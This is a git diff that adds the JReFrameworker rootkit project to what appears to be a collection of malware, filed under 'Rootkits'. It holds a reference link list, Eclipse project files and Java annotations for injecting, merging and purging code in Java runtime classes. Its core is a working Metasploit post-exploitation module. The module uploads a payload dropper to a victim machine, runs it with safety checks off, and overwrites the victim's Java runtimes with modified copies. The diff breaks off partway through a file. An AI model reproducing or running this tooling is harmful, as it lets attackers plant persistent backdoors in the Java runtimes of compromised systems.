+- [JRebel Explained](http://zeroturnaround.com/rebellabs/reloading-objects-classes-classloaders/)
+- [Stack Overflow Question on Editing rt.jar](https://stackoverflow.com/questions/8433047/overriding-single-classes-from-rt-jar)
+- [JEP 159: Enhanced Class Redefinition](http://openjdk.java.net/jeps/159)
+- [HotswapAgent](http://www.hotswapagent.org/quick-start) + [Hotswap Projects](https://github.com/HotswapProjects)
+- [Oracle FPUpdater Tool](http://www.oracle.com/technetwork/java/javase/fpupdater-tool-readme-305936.html)
+- [ClassLoader to Reload Class Definitions](https://stackoverflow.com/questions/3971534/how-to-force-java-to-reload-class-upon-instantiation)
+- [DYNAMIC SOFTWARE UPDATING (Dissertation)](http://www.cs.umd.edu/~mwh/papers/thesis.pdf)
+- [Dynamic Software Updating for Java](http://www.luispina.me/projects/rubah.html)
+
+## Bytecode Manipulations
+- [ASM Whitepaper](http://asm.ow2.org/current/asm-eng.pdf)
+- [ASM Transformations Whitepaper](http://asm.ow2.org/current/asm-transformations.pdf), [MIRROR](https://src.fedoraproject.org/lookaside/extras/asm2/asm-transformations.pdf/991a1ccdb3e79fe393aed7477f4f7ca5/asm-transformations.pdf)
+- [Merging Classes with ASM](http://www.jroller.com/eu/entry/merging_class_methods_with_asm)
+- [Updated Version of ASM Bytecode Outline Plugin](http://andrei.gmxhome.de/bytecode/index.html)
+- [Konloch Bytecode Viewer](https://github.com/Konloch/bytecode-viewer)
+- [BCEL](https://commons.apache.org/proper/commons-bcel/manual.html)
+
+## Intermediate Languages
+- [Soot](https://sable.github.io/soot/)
+- [Soot Command Line Options](https://ssebuild.cased.de/nightly/soot/doc/soot_options.htm)
+
+## Eclipse Plugin Development
+- [Project Builders and Natures](https://eclipse.org/articles/Article-Builders/builders.html)
+- [Incremental Builders](http://help.eclipse.org/mars/index.jsp?topic=%2Forg.eclipse.platform.doc.isv%2Fguide%2FresAdv_builders.htm)
+- [Eclipse Launch Frameworker](https://www.eclipse.org/articles/Article-Launch-Framework/launch.html)
+- [Eclipse Launchers](http://alvinalexander.com/java/jwarehouse/eclipse/org.eclipse.jdt.launching/launching/org/eclipse/jdt/internal/launching/JavaAppletLaunchConfigurationDelegate.java.shtml)
+- [Eclipse Java Launcher Example](https://eclipse.org/articles/Article-Java-launch/launching-java.html)
+- [Eclipse Launch Shortcuts](http://opensourcejavaphp.net/java/eclipse/org/eclipse/jdt/internal/debug/ui/launcher/JavaLaunchShortcut.java.html)
+- [Launch Shortcut Example](http://grepcode.com/file_/repository.grepcode.com/java/eclipse.org/3.5.2/org.eclipse.jdt.debug/ui/3.4.1/org/eclipse/jdt/debug/ui/launchConfigurations/JavaApplicationLaunchShortcut.java/?v=source)
+
+## Other
+- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
diff --git a/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png
new file mode 100644
index 0000000..e808008
Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png differ
diff --git a/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg
new file mode 100644
index 0000000..3c8c9af
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg
@@ -0,0 +1,316 @@
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/metasploit/jreframeworker.rb b/Cross Platform/Rootkits/JReFrameworker/metasploit/jreframeworker.rb
new file mode 100644
index 0000000..6781ea9
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/metasploit/jreframeworker.rb
@@ -0,0 +1,140 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Payloads must be generated by JReFrameworker: https://ben-holland.com/JReFrameworker/
+# Place module at ~/.msf4/modules/post/manage/java/jreframeworker.rb
+# Load module with 'use post/manage/java/jreframeworker'
+##
+
+require 'msf/core'
+require 'rex'
+
+class MetasploitModule < Msf::Post
+
+ include Msf::Post::File
+
+ Rank = ExcellentRanking
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'Modify JVM Runtime',
+ 'Description' => %q{ This module executes a JReFrameworker payload dropper },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'Benjamin Holland (daedared)' ],
+ 'Platform' => [ 'win', 'osx', 'linux' ],
+ 'References' =>
+ [
+ [ 'JReFrameworker', 'https://ben-holland.com/JReFrameworker/' ],
+ [ 'DEFCON24', 'https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Holland' ]
+ ],
+ 'SessionTypes' => [ 'shell', 'meterpreter' ]
+ ))
+
+ register_options(
+ [
+ OptPath.new('PAYLOAD_DROPPER', [true, 'The JReFrameworker payload to execute'])
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptString.new('SEARCH_DIRECTORIES', [false, 'Specifies a comma separated list of victim directory paths to search for runtimes, if not specified a default set of search directories will be used.']),
+ OptString.new('OUTPUT_DIRECTORY', [false, 'Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files.'])
+ ], self.class)
+ end
+
+ def upload_file(tempdir, file)
+ remote_file = "#{tempdir}#{File.basename(file)}"
+ print_status("#{peer} - Uploading #{remote_file}...")
+ write_file(remote_file, File.binread(file))
+ print_status("#{peer} - Uploaded #{remote_file}")
+ remote_file
+ end
+
+ def get_platform()
+ if session.type =~ /meterpreter/ && session.sys.config.sysinfo['OS'] =~ /darwin/i
+ platform = 'osx'
+ else
+ platform = session.platform
+ end
+ platform
+ end
+
+ def get_temporary_directory(platform)
+ if platform.include? "/win"
+ #return "%TEMP%\\" # not working :\
+ return "C:\\"
+ else
+ return "/tmp/"
+ end
+ end
+
+ def run
+ dropper_local = datastore['PAYLOAD_DROPPER']
+ platform = get_platform()
+ tempdir = get_temporary_directory(platform)
+ dropper_remote = upload_file(tempdir, dropper_local)
+
+ print_status("ReFrameworking JVMs on #{session.inspect}...")
+
+ # build the dropper command
+ search_directories = datastore['SEARCH_DIRECTORIES']
+ cmd = "java -jar #{dropper_remote} --safety-off"
+ if search_directories
+ cmd = "#{cmd} --search-directories \"#{search_directories}\""
+ end
+ output_directory = datastore['OUTPUT_DIRECTORY']
+ if output_directory
+ cmd = "#{cmd} --output-directory #{output_directory}"
+ end
+
+ # rework each discovered runtime
+ print_status("Running: #{cmd}...")
+ modification_results = cmd_exec(cmd)
+ print_status(modification_results)
+
+ # parse the results, results are a list of original and corresponding modified runtimes
+ modification_results = "#{modification_results}".strip!
+ modifications = modification_results.split("\n")
+
+ # iterate over each original,modified runtime pair
+ # and replace the original runtime with the modified runtime
+ index = 0
+ while index < modifications.size
+ original = ''
+ modified = ''
+
+ while original == '' && index < modifications.size
+ if not (modifications[index]).nil?
+ if modifications[index].include? 'Original Runtime: '
+ original = modifications[index]
+ original = original.gsub! 'Original Runtime: ', ''
+ original.strip!
+ end
+ end
+ index = index + 1
+ end
+
+ while modified == '' && index < modifications.size
+ if not (modifications[index]).nil?
+ if modifications[index].include? 'Modified Runtime: '
+ modified = modifications[index]
+ modified = modified.gsub! 'Modified Runtime: ', ''
+ modified.strip!
+ end
+ end
+ index = index + 1
+ end
+
+ if original != '' && modified != ''
+ print_status("Created temporary runtime #{modified}")
+ print_status("Overwriting #{original}...")
+ rm_f(original)
+ rename_file(modified, original)
+ original = ''
+ modified = ''
+ end
+
+ end
+
+ end
+
+end
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath
new file mode 100644
index 0000000..fceb480
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore
new file mode 100644
index 0000000..ae3c172
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project
new file mode 100644
index 0000000..f9c3710
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project
@@ -0,0 +1,17 @@
+
+
+ com.jreframeworker.annotations.core
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..3a21537
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,11 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
+org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.debug.lineNumber=generate
+org.eclipse.jdt.core.compiler.debug.localVariable=generate
+org.eclipse.jdt.core.compiler.debug.sourceFile=generate
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml
new file mode 100644
index 0000000..139480d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineField.java
new file mode 100644
index 0000000..86c8862
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineField.java
@@ -0,0 +1,22 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.FIELD })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated field should be inserted into the base
+ * class during a merge. If the field already exists, the field
+ * will be replaced with the annotated field.
+ *
+ * @author Ben Holland
+ */
+public @interface DefineField {}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java
new file mode 100644
index 0000000..6265622
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineFieldFinalities {
+ DefineFieldFinality[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java
new file mode 100644
index 0000000..08139fc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java
@@ -0,0 +1,35 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Adds or removes the final modifier from a field
+ *
+ * "type" should be the qualified class name if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "field" should be the name of the field for which to set visibility
+ *
+ * "finality" should be a boolean true to add or boolean false to remove the
+ * final keyword
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineFieldFinalities.class)
+public @interface DefineFieldFinality {
+ int phase() default 1;
+ String type();
+ String field();
+ boolean finality();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java
new file mode 100644
index 0000000..52cc81f
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineFieldVisibilities {
+ DefineFieldVisibility[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java
new file mode 100644
index 0000000..5a4b2fc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java
@@ -0,0 +1,34 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Sets the visibility of a field
+ *
+ * "type" should be the qualified class name if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "field" should be the name of the field for which to set visibility
+ *
+ * "visibility" should be "public", "protected", or "private"
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineFieldVisibilities.class)
+public @interface DefineFieldVisibility {
+ int phase() default 1;
+ String type();
+ String field();
+ String visibility();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeField.java
new file mode 100644
index 0000000..5b164af
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeField.java
@@ -0,0 +1,25 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated field should be purged from the base class.
+ *
+ * @author Ben Holland
+ */
+@Repeatable(PurgeFields.class)
+public @interface PurgeField {
+ String type();
+ String field();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeFields.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeFields.java
new file mode 100644
index 0000000..bafdd5f
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeFields.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface PurgeFields {
+ PurgeField[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethod.java
new file mode 100644
index 0000000..e9db328
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethod.java
@@ -0,0 +1,22 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.METHOD })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated method should be inserted into the base type
+ * during a merge. If the base type already contains the method then
+ * the base method will be replaced with the annotated method.
+ *
+ * @author Ben Holland
+ */
+public @interface DefineMethod {}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java
new file mode 100644
index 0000000..d736bfc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineMethodFinalities {
+ DefineMethodFinality[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java
new file mode 100644
index 0000000..32dfa29
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java
@@ -0,0 +1,35 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Adds or removes the final modifier from a method
+ *
+ * "type" should be the qualified class name, if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "method" should be the name of the method for which to set finality
+ *
+ * "finality" should be a boolean true to add or boolean false to remove the
+ * final keyword
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineMethodFinalities.class)
+public @interface DefineMethodFinality {
+ int phase() default 1;
+ String type();
+ String method();
+ boolean finality();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java
new file mode 100644
index 0000000..9c998fc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineMethodVisibilities {
+ DefineMethodVisibility[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java
new file mode 100644
index 0000000..0762f89
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java
@@ -0,0 +1,34 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Sets the visibility of a method
+ *
+ * "type" should be the qualified class name if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "method" should be the name of the method for which to set visibility
+ *
+ * "visibility" should be "public", "protected", or "private"
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineMethodVisibilities.class)
+public @interface DefineMethodVisibility {
+ int phase() default 1;
+ String type();
+ String method();
+ String visibility();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/MergeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/MergeMethod.java
new file mode 100644
index 0000000..aced164
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/MergeMethod.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.METHOD })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the base method should be renamed and made private.
+ * The annotated method will be inserted along the renamed base
+ * method. Calls to the original base method will now point to
+ * the annotated method. Super calls to the original base method
+ * will be replaced with calls to the renamed base method.
+ *
+ * @author Ben Holland
+ */
+public @interface MergeMethod {}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethod.java
new file mode 100644
index 0000000..46fc683
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethod.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated method should be purged from the base type.
+ *
+ * @author Ben Holland
+ */
+public @interface PurgeMethod {
+ int phase() default 1;
+ String type() default "";
+ String method() default "";
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethods.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethods.java
new file mode 100644
index 0000000..7aa6e54
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethods.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface PurgeMethods {
+ PurgeMethod[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineType.java
new file mode 100644
index 0000000..8665a93
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineType.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated type (class, abstract class, interface) should be
+ * inserted into the runtime. If the runtime type already exists it will be
+ * replaced with the annotated type. Ignores all other JReFrameworker annotations.
+ *
+ * @author Ben Holland
+ */
+public @interface DefineType {
+ int phase() default 1;
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java
new file mode 100644
index 0000000..d854bcb
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineTypeFinalities {
+ DefineTypeFinality[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinality.java
new file mode 100644
index 0000000..02d9438
--- /dev/null
